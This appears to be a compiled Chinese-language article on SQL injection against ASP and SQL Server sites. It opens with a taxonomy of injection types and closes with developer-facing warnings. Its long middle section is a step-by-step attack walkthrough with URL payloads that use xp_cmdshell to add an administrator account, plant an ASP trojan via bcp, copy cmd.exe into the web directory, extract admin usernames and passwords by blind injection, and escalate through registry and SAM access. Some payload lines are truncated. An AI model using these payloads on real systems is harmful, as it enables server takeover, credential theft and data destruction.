注入攻擊的分類
1.沒有正確過濾轉(zhuǎn)義字符 在用戶的輸入沒有為轉(zhuǎn)義字符過濾時,就會發(fā)生這種形式的注入式攻擊,它會被傳遞給一個SQL語句。這樣就會導(dǎo)致應(yīng)用程序的終端用戶對數(shù)據(jù)庫上的語句實施操縱。比方說,下面的這行代碼就會演示這種漏洞: statement := "SELECT * FROM users WHERE name ='"? userName? "';" 這種代碼的設(shè)計目的是將一個特定的用戶從其用戶表中取出,但是,如果用戶名被一個惡意的用戶用一種特定的方式偽造,這個語句所執(zhí)行的操作可能就不僅僅是代碼的作者所期望的那樣了。例如,將用戶名變量(即username)設(shè)置為: a' or 't'='t,此時原始語句發(fā)生了變化: SELECT * FROM users WHERE name = 'a' OR 't'='t'; 如果這種代碼被用于一個認(rèn)證過程,那么這個例子就能夠強迫選擇一個合法的用戶名,因為賦值't'='t永遠(yuǎn)是正確的。 在一些SQL服務(wù)器上,如在SQL Server中,任何一個SQL命令都可以通過這種方法被注入,包括執(zhí)行多個語句。下面語句中的username的值將會導(dǎo)致刪除“users”表,又可以從“data”表中選擇所有的數(shù)據(jù)(實際上就是透露了每一個用戶的信息)。 a';DROP TABLE users; SELECT * FROM data WHERE name LIKE'% 這就將最終的SQL語句變成下面這個樣子: SELECT * FROM users WHERE name = 'a';DROP TABLE users;SELECT * FROM DATA WHERE name LIKE '%'; 其它的SQL執(zhí)行不會將執(zhí)行同樣查詢中的多個命令作為一項安全措施。這會防止攻擊者注入完全獨立的查詢,不過卻不會阻止攻擊者修改查詢。
2
2.Incorrecttype handling 如果一個用戶提供的字段并非一個強類型,或者沒有實施類型強制,就會發(fā)生這種形式的攻擊。當(dāng)在一個SQL語句中使用一個數(shù)字字段時,如果程序員沒有檢查用戶輸入的合法性(是否為數(shù)字型)就會發(fā)生這種攻擊。例如: statement := "SELECT * FROM data WHERE id = " ?a_variable ? ";" 從這個語句可以看出,作者希望a_variable是一個與“id”字段有關(guān)的數(shù)字。不過,如果終端用戶選擇一個字符串,就繞過了對轉(zhuǎn)義字符的需要。例如,將a_variable設(shè)置為:1;DROP TABLEusers,它會將“users”表從數(shù)據(jù)庫中刪除,SQL語句變成:SELECT * FROM DATA WHERE id = 1;DROP TABLE users;
3
3.數(shù)據(jù)庫服務(wù)器中的漏洞 有時,數(shù)據(jù)庫服務(wù)器軟件中也存在著漏洞,如MYSQL服務(wù)器中mysql_real_escape_string()函數(shù)漏洞。這種漏洞允許一個攻擊者根據(jù)錯誤的統(tǒng)一字符編碼執(zhí)行一次成功的SQL注入式攻擊。
4
4.盲目SQL注入式攻擊 當(dāng)一個Web應(yīng)用程序易于遭受攻擊而其結(jié)果對攻擊者卻不見時,就會發(fā)生所謂的盲目SQL注入式攻擊。有漏洞的網(wǎng)頁可能并不會顯示數(shù)據(jù),而是根據(jù) 注入到合法語句中的邏輯語句的結(jié)果顯示不同的內(nèi)容。這種攻擊相當(dāng)耗時,因為必須為每一個獲得的字節(jié)而精心構(gòu)造一個新的語句。但是一旦漏洞的位置和目標(biāo)信息的位置被確立以后,一種稱為Absinthe的工具就可以使這種攻擊自動化。
5
5.條件響應(yīng) 注意,有一種SQL注入迫使數(shù)據(jù)庫在一個普通的應(yīng)用程序屏幕上計算一個邏輯語句的值: SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd'AND 1=1 這會導(dǎo)致一個標(biāo)準(zhǔn)的面面,而語句 SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd'AND 1=2在頁面易于受到SQL注入式攻擊時,它有可能給出一個不同的結(jié)果。如此這般的一次注入將會證明盲目的SQL注入是可能的,它會使攻擊者根據(jù)另外一個 表中的某字段內(nèi)容設(shè)計可以評判真?zhèn)蔚恼Z句。
6
6.條件性差錯 如果WHERE語句為真,這種類型的盲目SQL注入會迫使數(shù)據(jù)庫評判一個引起錯誤的語句,從而導(dǎo)致一個SQL錯誤。例如: SELECT 1/0 FROM users WHERE username='Ralph'。顯然,如果用戶Ralph存在的話,被零除將導(dǎo)致錯誤。
7
7.時間延誤 時間延誤是一種盲目的SQL注入,根據(jù)所注入的邏輯,它可以導(dǎo)致SQL引擎執(zhí)行一個長隊列或者是一個時間延誤語句。攻擊者可以衡量頁面加載的時間,從而決定所注入的語句是否為真。 以上僅是對SQL攻擊的粗略分類。但從技術(shù)上講,如今的SQL注入攻擊者們在如何找出有漏洞的網(wǎng)站方面更加聰明,也更加全面了。出現(xiàn)了一些新型的SQL攻擊手段。黑客們可以使用各種工具來加速漏洞的利用過程。我們不妨看看theAsprox Trojan這種木馬,它主要通過一個發(fā)布郵件的僵尸網(wǎng)絡(luò)來傳播,其整個工作過程可以這樣描述:首先,通過受到控制的主機發(fā)送的垃圾郵件將此木馬安裝到電腦上,然后,受到此木馬感染的電腦會下載一段二進制代碼,在其啟動時,它會使用搜索引擎搜索用微軟的 ASP技術(shù)建立表單的、有漏洞的網(wǎng)站。搜索的結(jié)果就成為SQL注入攻擊的靶子清單。接著,這個木馬會向這些站點發(fā)動SQL注入式攻擊,使有些網(wǎng)站受到控制、破壞。訪問這些受到控制和破壞的網(wǎng)站的用戶將會受到欺騙,從另外一個站點下載一段惡意的JavaScript代碼。最后,這段代碼將用戶指引到第三個站點,這里有更多的惡意軟件,如竊取口令的木馬。 以前,經(jīng)常有人警告或建議Web應(yīng)用程序的程序員們對其代碼進行測試并打補丁,雖然SQL注入漏洞被發(fā)現(xiàn)和利用的機率并不太高。但近來攻擊者們越來越多地發(fā)現(xiàn)并惡意地利用這些漏洞。因此,在部署其軟件之前,開發(fā)人員應(yīng)當(dāng)更加主動地測試其代碼,并在新的漏洞出現(xiàn)后立即對代碼打補丁。
完整步驟
一般來說,SQL注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.asp?id=XX等帶有參數(shù)
SQL注入攻擊的ASP動態(tài)網(wǎng)頁中,有時一個動態(tài)網(wǎng)頁中可能只有一個參數(shù),有時可能有N個參數(shù),有時是整型參數(shù),有時是字符串型參數(shù),不能一概而論。總之只要是帶有參數(shù)的 動態(tài)網(wǎng)頁且此網(wǎng)頁訪問了數(shù)據(jù)庫,那么就有可能存在SQL注入。如果ASP程序員沒有安全意識,不進行必要的字符過濾,存在SQL注入的可能性就非常大。
為了全面了解動態(tài)網(wǎng)頁回答的信息,首選請調(diào)整IE的配置。把IE菜單-工具-Internet選項-高級-顯示友好HTTP錯誤信息前面的勾去掉。
為了把問題說明清楚,以下以HTTP://xxx.xxx.xxx/abc.asp?p=YY為例進行分析,YY可能是整型,也有可能是字符串。
1、整型參數(shù)的判斷
當(dāng)輸入的參數(shù)YY為整型時,通常abc.asp中SQL語句原貌大致如下:
select * from表名where字段=YY,所以可以用以下步驟測試SQL注入是否存在。
①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一個單引號),此時abc.ASP中的SQL語句變成了
select * from表名where字段=YY’,abc.asp運行異常;
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp運行正常,而且與HTTP://xxx.xxx.xxx/abc.asp?p=YY運行結(jié)果相同;
③HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp運行異常;
如果以上三步全面滿足,abc.asp中一定存在SQL注入漏洞。
2、字符串型參數(shù)的判斷
當(dāng)輸入的參數(shù)YY為字符串時,通常abc.asp中SQL語句原貌大致如下:
select * from表名where字段='YY',所以可以用以下步驟測試SQL注入是否存在。
①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一個單引號),此時abc.ASP中的SQL語句變成了
select * from表名where字段=YY’,abc.asp運行異常;
②HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='1', abc.asp運行正常,而且與HTTP://xxx.xxx.xxx/abc.asp?p=YY運行結(jié)果相同;
③HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='2', abc.asp運行異常;
如果以上三步全面滿足,abc.asp中一定存在SQL注入漏洞。
3、特殊情況的處理
有時ASP程序員會在程序員過濾掉單引號等字符,以防止SQL注入。此時可以用以下幾種方法試一試。
①大小定混合法:由于VBS并不區(qū)分大小寫,而程序員在過濾時通常要么全部過濾大寫字符串,要么全部過濾小寫字符串,而大小寫混合往往會被忽視。如用SelecT代替select,SELECT等;
②UNICODE法:在IIS中,以UNICODE字符集實現(xiàn)國際化,我們完全可以IE中輸入的字符串化成UNICODE字符串進行輸入。如+ =+,空格=等;URLEncode信息參見附件一;
③ASCII碼法:可以把輸入的部分或全部字符全部用ASCII碼代替,如U=chr(85),a=chr(97)等,ASCII信息參見附件二;
一般來說,ACCESS與SQL-SERVER是最常用的數(shù)據(jù)庫服務(wù)器,盡管它們都支持T-SQL標(biāo)準(zhǔn),但還有不同之處,而且不同的數(shù)據(jù)庫有不同的攻擊方法,必須要區(qū)別對待。
1、 利用數(shù)據(jù)庫服務(wù)器的系統(tǒng)變量進行區(qū)分
SQL-SERVER有user,db_name()等系統(tǒng)變量,利用這些系統(tǒng)值不僅可以判斷SQL-SERVER,而且還可以得到大量有用信息。如:
① HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0不僅可以判斷是否是SQL-SERVER,而還可以得到當(dāng)前連接到數(shù)據(jù)庫的用戶名
②HTTP://xxx.xxx.xxx/abc.asp?p=YY&n ... db_name()>0不僅可以判斷是否是SQL-SERVER,而還可以得到當(dāng)前正在使用的數(shù)據(jù)庫名;
2、利用系統(tǒng)表
ACCESS的系統(tǒng)表是msysobjects,且在WEB環(huán)境下沒有訪問權(quán)限,而SQL-SERVER的系統(tǒng)表是sysobjects,在WEB環(huán)境下有訪問權(quán)限。對于以下兩條語句:
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0
若數(shù)據(jù)庫是SQL-SERVE,則第一條,abc.asp一定運行正常,第二條則異常;若是ACCESS則兩條都會異常。
3、MSSQL三個關(guān)鍵系統(tǒng)表
sysdatabases系統(tǒng)表:Microsoft SQL Server上的每個數(shù)據(jù)庫在表中占一行。最初安裝SQL Server時,sysdatabases包含master、model、msdb、mssqlweb和tempdb數(shù)據(jù)庫的項。該表只存儲在master數(shù)據(jù)庫中。 這個表保存在master數(shù)據(jù)庫中,這個表中保存的是什么信息呢?這個非常重要。他是 保存了所有的庫名,以及庫的ID和一些相關(guān)信息。
這里我把對于我們有用的字段名稱和相關(guān)說明給大家列出來。name //表示庫的名字。
dbid //表示庫的ID,dbid從1到5是系統(tǒng)的。分別是:master、model、msdb、mssqlweb、tempdb這五個庫。用select * from master.dbo.sysdatabases就可以查詢出所有的庫名。
Sysobjects:SQL-SERVER的每個數(shù)據(jù)庫內(nèi)都有此系統(tǒng)表,它存放該數(shù)據(jù)庫內(nèi)創(chuàng)建的所有對象,如約束、默認(rèn)值、日志、規(guī)則、存儲過程等,每個對象在表中占一行。
syscolumns:每個表和視圖中的每列在表中占一行,存儲過程中的每個參數(shù)在表中也占一行。該表位于每個數(shù)據(jù)庫中。主要字段有:
name,id,colid:分別是字段名稱,表ID號,字段ID號,其中的ID是 剛上我們用sysobjects得到的表的ID號。
用: select * from ChouYFD.dbo.syscolumns where id=123456789得到ChouYFD這個庫中,表的ID是123456789中的所有字段列表。
若當(dāng)前連接數(shù)據(jù)的帳號具有SA權(quán)限,且master.dbo.xp_cmdshell擴展存儲過程(調(diào)用此存儲過程可以直接使用操作系統(tǒng)的shell)能夠正確執(zhí)行,則整個計算機可以通過以下幾種方法完全控制,以后的所有步驟都可以省
1、HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... er>0 abc.asp執(zhí)行異常但可以得到當(dāng)前連接數(shù)據(jù)庫的用戶名(若顯示dbo則代表SA)。
2、HTTP://xxx.xxx.xxx/abc.asp?p=YY ... me()>0 abc.asp執(zhí)行異常但可以得到當(dāng)前連接的數(shù)據(jù)庫名。
3、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主數(shù)據(jù)庫;名中的分號表示SQL-SERVER執(zhí)行完分號前的語句名,繼續(xù)執(zhí)行其后面的語句;“—”號是注解,表 示其后面的所有內(nèi)容僅為注釋,系統(tǒng)并不執(zhí)行)可以直接增加操作系統(tǒng)帳戶aaa,密碼為bbb。
4、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net localgroup administrators aaa /add”--把剛剛增加的帳戶aaa加到administrators組中。
5、HTTP://xxx.xxx.xxx/abc.asp?p=YY;backuup database數(shù)據(jù)庫名to disk='c:\inetpub\wwwroot\save.db'則把得到的數(shù)據(jù)內(nèi)容全部備份到WEB目錄下,再用HTTP把此文件下載(當(dāng)然首選要知道WEB虛擬目錄)。
6、通過復(fù)制CMD創(chuàng)建UNICODE漏洞
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe ... dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe”便制造了一個UNICODE漏洞,通過此漏洞的利用方法,便完成了對整個計算機的控制(當(dāng)然首選要知道WEB虛擬目錄)。
只有找到WEB虛擬目錄,才能確定放置ASP木馬的位置,進而得到USER權(quán)限。有兩種方法比較有效。
一是根據(jù)經(jīng)驗猜解,一般來說,WEB虛擬目錄是:c:\inetpub\wwwroot; D:\inetpub\wwwroot; E:\inetpub\wwwroot等,而可執(zhí)行虛擬目錄是:c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。
二是遍歷系統(tǒng)的目錄結(jié)構(gòu),分析結(jié)果并發(fā)現(xiàn)WEB虛擬目錄;
先創(chuàng)建一個臨時表:temp
HTTP://xxx.xxx.xxx/abc.asp?p=YY;create&n ... mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
接下來:
(1)利用xp_availablemedia來獲得當(dāng)前所有驅(qū)動器,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp ... ter.dbo.xp_availablemedia;--
我們可以通過查詢temp的內(nèi)容來獲得驅(qū)動器列表及相關(guān)信息
(2)利用xp_subdirs獲得子目錄列表,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(i ... dbo.xp_subdirs 'c:\';--
(3)利用xp_dirtree獲得所有子目錄的目錄樹結(jié)構(gòu),并寸入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
注意:
1、以上每完成一項瀏覽后,應(yīng)刪除TEMP中的所有內(nèi)容,刪除方法是:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;--
2、瀏覽TEMP表的方法是:(假設(shè)TestDB是當(dāng)前連接的數(shù)據(jù)庫名)
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top& ... nbsp;TestDB.dbo.temp )>0得到表TEMP中第一條記錄id字段的值,并與整數(shù)進行比較,顯然abc.asp工作異常,但在異常中卻可以發(fā)現(xiàn)id字段的值。假設(shè)發(fā)現(xiàn)的表名是xyz, 則
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from ... ere id not in('xyz'))>0得到表TEMP中第二條記錄id字段的值。
所謂ASP木馬,就是一段有特殊功能的ASP代碼,并放入WEB虛擬目錄的Scripts下,遠(yuǎn)程客戶通過IE就可執(zhí)行它,進而得到系統(tǒng)的USER權(quán)限,實現(xiàn)對系統(tǒng)的初步控制。上傳ASP木馬一般有兩種比較有效的方法:
1、利用WEB的遠(yuǎn)程管理功能
許多WEB站點,為了維護的方便,都提供了遠(yuǎn)程管理的功能;也有不少WEB站點,其內(nèi)容是對于 不同的用戶有不同的訪問權(quán)限。為了達(dá)到對用戶權(quán)限的控制,都有一個網(wǎng)頁,要求用戶名與密碼,只有輸入了正確的值,才能進行下一步的操作,可以實現(xiàn)對WEB的管理,如上傳、下載文件,目錄瀏覽、修改配置等。
因此,若獲取正確的用戶名與密碼,不僅可以上傳ASP木馬,有時甚至能夠直接得到USER權(quán)限而瀏覽系統(tǒng),上一步的“發(fā)現(xiàn)WEB虛擬目錄”的復(fù)雜操作都可省略。
用戶名及密碼一般存放在一張表中,發(fā)現(xiàn)這張表并讀取其中內(nèi)容便解決了問題。以下給出兩種有效方法。
A、 注入法:
從理論上說,認(rèn)證網(wǎng)頁中會有型如:
select * from admin where username='XXX' and password='YYY'的語句,若在正式運行此句之前,沒有進行必要的字符過濾,則很容易實施SQL注入。
如在用戶名文本框內(nèi)輸入:abc’ or 1=1--在密碼框內(nèi)輸入:123則SQL語句變成:
select * from admin where username='abc’ or 1=1 and password='123’不管用戶輸入任何用戶名與密碼,此語句永遠(yuǎn)都能正確執(zhí)行,用戶輕易騙過系統(tǒng),獲取合法身份。
B、猜解法:
基本思路是:猜解所有數(shù)據(jù)庫名稱,猜出庫中的每張表名,分析可能是存放用戶名與密碼的表名,猜出表中的每個字段名,猜出表中的每條記錄內(nèi)容。
猜解所有數(shù)據(jù)庫名稱
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0因為dbid的值從1到5,是系統(tǒng)用了。所以用戶自己建的一定是從6開始的。并且我們提交了name>1 (name字段是一個字符型的字段和數(shù)字比較會出錯),abc.asp工作異常,可得到第一個數(shù)據(jù)庫名,同理把DBID分別改成7,8,9,10,11,12…就可得到所有數(shù)據(jù)庫名。
以下假設(shè)得到的數(shù)據(jù)庫名是TestDB。
猜解數(shù)據(jù)庫中用戶名表的名稱
猜解法:此方法就是根據(jù)個人的經(jīng)驗猜表名,一般來 說,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通過語句進行判斷
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from TestDB.dbo.表名)>0若表名存在,則abc.asp工作正常,否則異常。如此循環(huán),直到猜到系統(tǒng)帳號表的名稱。
讀取法:SQL-SERVER有一個存放系統(tǒng)核心信息的表sysobjects,有關(guān)一個庫的所有表,視圖等信息全部存放在此表中,而且此表可以通過WEB進行訪問。
當(dāng)xtype='U' and status>0代表是用戶建立的表,發(fā)現(xiàn)并分析每一個用戶建立的表及名稱,便可以得到用戶名表的名稱,基本的實現(xiàn)方法是:
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestD ... type='U' and status>0 )>0得到第一個用戶建立表的名稱,并與整數(shù)進行比較,顯然abc.asp工作異常,但在異常中卻可以發(fā)現(xiàn)表的名稱。假設(shè)發(fā)現(xiàn)的表名是xyz,則
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjects& ... tatus>0 and name not in('xyz'))>0可以得到第二個用戶建立的表的名稱,同理就可得到所有用建立的表的名稱。
根據(jù)表的名稱,一般可以認(rèn)定那張表用戶存放用戶名及密碼,以下假設(shè)此表名為Admin。
l猜解用戶名字段及密碼字段名稱
admin表中一定有一個用戶名字段,也一定有一個密碼字段,只有得到此兩個字段的名稱,才有可能得到此兩字段的內(nèi)容。如何得到它們的名稱呢,同樣有以下兩種方法。
猜解法:此方法就是根據(jù)個人的經(jīng)驗猜字段名,一般來說,用戶名字段的名稱常用:username,name,user,account等。而密碼字段的名稱常用:password,pass,pwd,passwd等。并通過語句進行判斷
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(字段名) from TestDB.dbo.admin)>0 “select count(字段名) from表名”語句得到表的行數(shù),所以若字段名存在,則abc.asp工作正常,否則異常。如此循環(huán),直到猜到兩個字段的名稱。
讀取法:基本的實現(xiàn)方法是
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select ... me(object_id('admin'),1) from TestDB.dbo.sysobjects)>0。select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是從sysobjects得到已知表名的第一個字段名,當(dāng)與整數(shù)進行比較,顯然abc.asp工作異常,但在 異常中卻可以發(fā)現(xiàn)字段的名稱。把col_name(object_id('admin'),1)中的1依次換成2,3,4,5,6…就可得到所有的字段名 稱。
l猜解用戶名與密碼
猜用戶名與密碼的內(nèi)容最常用也是最有效的方法有:
ASCII碼逐字解碼法:雖然這種方法速度較慢,但肯定是可行的。基本的思路是先猜出字段的長度,然后依次猜出每一位的值。猜用戶名與猜密碼的方法相同,以下以猜用戶名為例說明其過程。
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top&n ... nbsp;from TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username為用戶名字段的名稱,admin為表的名稱),若x為某一值i且abc.asp運行正常時,則i就是第一個用戶名的長度。如:當(dāng)輸入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top ... e) from TestDB.dbo.admin)=8時abc.asp運行正常,則第一個用戶名的長度為8
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用戶名長度之間,當(dāng)m=1,2,3,…時猜測分別猜測第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin為系統(tǒng)用戶帳號表的名稱),若n為某一值i且abc.asp運行正常時,則i對應(yīng)ASCII碼就是用戶名某 一位值。如:當(dāng)輸入
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,3,1)) from TestDB.dbo.admin)=80時abc.asp運行正常,則用戶名的第三位為P(P的ASCII為80);
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,9,1)) from TestDB.dbo.admin)=33時abc.asp運行正常,則用戶名的第9位為!(!的ASCII為80);
猜到第一個用戶名及密碼后,同理,可以猜出其他所有用戶名與密碼。注意:有時得到的密碼可能是經(jīng)MD5等方式加密后的信息,還需要用專用工具進行脫密。或者先改其密碼,使用完后再改回來,見下面說明。
簡單法:猜用戶名用
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ... o.admin where username>1) , flag是admin表中的一個字段,username是用戶名字段,此時abc.asp工作異常,但能得到Username的值。與上同樣的方法,可以 得到第二用戶名,第三個用戶等等,直到表中的所有用戶名。
猜用戶密碼:HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1&nb ... B.dbo.admin where pwd>1) , flag是admin表中的一個字段,pwd是密碼字段,此時abc.asp工作異常,但能得到pwd的值。與上同樣的方法,可以得到第二用戶名的密碼, 第三個用戶的密碼等等,直到表中的所有用戶的密碼。密碼有時是經(jīng)MD5加密的,可以改密碼。
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update TestDB.dbo.admin set pwd=' ... where username='www';-- ( 1的MD5值為:AAABBBCCCDDDEEEF,即把密碼改成1;www為已知的用戶名)
用同樣的方法當(dāng)然可把密碼改原來的值。
2、利用表內(nèi)容導(dǎo)成文件功能
SQL有BCP命令,它可以把表的內(nèi)容導(dǎo)成文本文件并放到指定位置。利用這項功能,我們可以先建一張臨時表,然后在表中一行一行地輸入一個ASP木馬,然后用BCP命令導(dǎo)出形成ASP文件。
命令行格式如下:
bcp "select * from text..foo" queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P foobar ('S'參數(shù)為執(zhí)行查詢的服務(wù)器,'U'參數(shù)為用戶名,'P'參數(shù)為密碼,最終上傳了一個runcommand.asp的木馬)
ASP木馬只有USER權(quán)限,要想獲取對系統(tǒng)的完全控制,還要有系統(tǒng)的管理員權(quán)限。怎么辦?提升權(quán)限的方法有很多種:
上傳木馬,修改開機自動運行的.ini文件(它一重啟,便死定了);
復(fù)制CMD.exe到scripts,人為制造UNICODE漏洞;
下載SAM文件,破解并獲取OS的所有用戶名密碼;
等等,視系統(tǒng)的具體情況而定,可以采取不同的方法。
1、利用xp_regread擴展存儲過程修改注冊表
[xp_regread]另一個有用的內(nèi)置存儲過程是xp_regXXXX類的函數(shù)集合(Xp_regaddmultistring,Xp_regdeletekey,Xp_regdeletevalue,Xp_regenumkeys,Xp_regenumvalues,Xp_regread,Xp_regremovemultistring,Xp_regwrite)。 攻擊者可以利用這些函數(shù)修改注冊表,如讀取SAM值,允許建立空連接,開機自動運行程序等。如:
exec xp_regreadHKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'確定什么樣的會話連接在服務(wù)器可用。
exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'顯示服務(wù)器上所有SNMP團體配置,有了這些信息,攻擊者或許會重新配置同一網(wǎng)絡(luò)中的網(wǎng)絡(luò)設(shè)備。
2、利用其他存儲過程去改變服務(wù)器
xp_servicecontrol過程允許用戶啟動,停止服務(wù)。如:
(exec master..xp_servicecontrol 'start','schedule'
exec master..xp_servicecontrol 'start','server')
Xp_availablemedia顯示機器上有用的驅(qū)動器
Xp_dirtree允許獲得一個目錄樹
Xp_enumdsn列舉服務(wù)器上的ODBC數(shù)據(jù)源
Xp_loginconfig獲取服務(wù)器安全信息
Xp_makecab允許用戶在服務(wù)器上創(chuàng)建一個壓縮文件
Xp_ntsec_enumdomains列舉服務(wù)器可以進入的域
Xp_terminate_process提供進程的進程ID,終止此進程
在計算機技術(shù)高速發(fā)展的今天,越來越讓人們頭疼的是面臨越來越“變態(tài)”和復(fù)雜的威脅網(wǎng)站技術(shù),他們利用Internet執(zhí)行各種惡意活動,如身份竊取、私密信息竊取、帶寬資源占用等。它們潛入之后,還會擴散并不斷更新自己。這些活動常常利用用戶的好奇心,在用戶不知道或未 允許的情況下潛入用戶的PC,不知不覺中,帳戶里的資金就被轉(zhuǎn)移了,公司訊息也被傳送出去,危害十分嚴(yán)重。2006年8月16日,第一個Web威脅樣本出 現(xiàn),截止到2006年10月25日,已經(jīng)產(chǎn)生了第150個變種,并且,還在不斷地演化下去。
網(wǎng)站威脅的目標(biāo)定位有多個維度,是個人還是公司,還是某種行業(yè),都有其考慮,甚至國家、地區(qū)、性別、種族、宗教等也成為發(fā)動攻擊的原因或動機。攻擊還會采用多種形態(tài),甚至是復(fù)合形態(tài),比如病毒、蠕蟲、特洛伊、間諜軟件、僵尸、網(wǎng)絡(luò)釣魚電子郵件、 漏洞利用、下載程序、社會工程、rootkit、黑客,結(jié)果都可以導(dǎo)致用戶信息受到危害,或者導(dǎo)致用戶所需的服務(wù)被拒絕和劫持。從其來源說Web威脅還可 以分為內(nèi)部攻擊和外部攻擊兩類。前者主要來自信任網(wǎng)絡(luò),可能是用戶執(zhí)行了未授權(quán)訪問或是無意中定制了惡意攻擊;后者主要是由于網(wǎng)絡(luò)漏洞被利用或者用戶受到惡意程序制定者的專一攻擊。
SQL注入攻擊是非常令人討厭的安全漏洞,是所有的web開發(fā)人員,不管是什么平臺,技術(shù),還是數(shù)據(jù)層,需要確信他們理解和防止的東西。不幸的是,開發(fā)人員往往不集中花點時間在這上面,以至他們的應(yīng)用,更糟糕的是,他們的客戶極其容易受到攻擊。
Michael Sutton最近發(fā)表了一篇非常發(fā)人深省的帖子,講述在公共網(wǎng)上這問題是多么地普遍。他用Google的Search API建了一個C#的客戶端程序,尋找那些易受SQL注入攻擊的網(wǎng)站。其步驟很簡單:
1,尋找那些帶查詢字符串的網(wǎng)站(例如,查詢那些在URL里帶有"id="的URL)
2,給這些確定為動態(tài)的網(wǎng)站發(fā)送一個請求,改變其中的id=語句,帶一個額外的單引號,來試圖取消其中的SQL語句(例如,如id=6' )
3,分析返回的回復(fù),在其中查找象“SQL”和“query”這樣的詞,這往往表示應(yīng)用返回了詳細(xì)的錯誤消息(這本身也是很糟糕的)
4,檢查錯誤消息是否表示發(fā)送到SQL服務(wù)器的參數(shù)沒有被正確加碼(encoded),如果如此,那么表示可對該網(wǎng)站進行SQL注入攻擊
對通過Google搜尋找到的1000個網(wǎng)站的隨機取樣測試,他檢測到其中的11.3%有易受SQL注入攻擊的可能。這非常,非常地可怕。這意味著黑客可以遠(yuǎn)程利用那些應(yīng)用里的數(shù)據(jù),獲取任何沒有hashed或加密的密碼或信用卡數(shù)據(jù),甚至有以管 理員身份登陸進這些應(yīng)用的可能。這不僅對開發(fā)網(wǎng)站的開發(fā)人員來說很糟糕,而且對使用網(wǎng)站的消費者或用戶來說更糟糕,因為他們給網(wǎng)站提供了數(shù)據(jù),想著網(wǎng)站是 安全的呢。
那么SQL注入攻擊到底是什么玩意?
有幾種情形使得SQL注入攻擊成為可能。最常見的原因是,你動態(tài)地構(gòu)造了SQL語句,卻沒有使 用正確地加了碼(encoded)的參數(shù)。譬如,考慮這個SQL查詢的編碼,其目的是根據(jù)由查詢字符串提供的社會保險號碼(social security number)來查詢作者(Authors):
Dim SSN as String
Dim SqlQuery as String
SSN = Request.QueryString("SSN")
SqlQuery = "SELECT au_lname, au_fname FROM authors WHERE au_id = '" + SSN + "'"
如果你有象上面這個片斷一樣的SQL編碼,那么你的整個數(shù)據(jù)庫和應(yīng)用可以遠(yuǎn)程地被黑掉。怎么會呢?在普通情形下,用戶會使用一個社會保險號碼來訪問這個網(wǎng)站,編碼是象這樣執(zhí)行的:
' URL to the page containing the above code
' SQL Query executed against the database
SELECT au_lname, au_fname FROM authors WHERE au_id = '172-32-9999'
這是開發(fā)人員預(yù)期的做法,通過社會保險號碼來查詢數(shù)據(jù)庫中作者的信息。但因為參數(shù)值沒有被正確地加碼,黑客可以很容易地修改查詢字符串的值,在要執(zhí)行的值后面嵌入附加的SQL語句 。譬如,
' URL to the page containing the above code
' SQL Query executed against the database
SELECT au_lname, au_fname FROM authors WHERE au_id = '';DROP DATABASE pubs --
